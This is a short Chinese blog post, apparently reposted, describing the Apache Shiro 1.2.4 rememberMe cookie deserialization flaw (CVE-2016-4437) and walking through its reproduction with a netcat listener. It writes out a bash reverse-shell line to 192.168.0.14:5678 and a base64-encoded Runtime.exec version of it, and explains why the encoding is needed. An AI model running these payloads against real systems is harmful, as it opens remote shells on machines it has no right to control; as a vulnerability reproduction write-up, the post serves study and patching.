Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

漏洞复现

1、nc开启监听端口

 2、编写反弹shell

bash -i >& /dev/tcp/192.168.0.14/5678 0>&1

3、Java Runtime 配合 bash 编码(http://www.jackson-t.ca/runtime-exec-payloads.html

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTQvNTY3OCAwPiYx}|{base64,-d}|{bash,-i}

4、使用POC执行反弹脚本

5、shell成功反弹

 注:为什么要对反弹shell进行编码?

在exec()函数中,">"管道符是没有意义的,会被解析为其他的意义,而我们的反弹shell命令中又必须使用,所以需要编码。

另外,StringTokenizer类会破坏其中包含空格的参数,该类将命令字符串按空格分隔。诸如此类的东西 ls "My Directory"将被解释为ls '"My' 'Directory"'

猜你喜欢

转载自www.cnblogs.com/yyxianren/p/12450209.html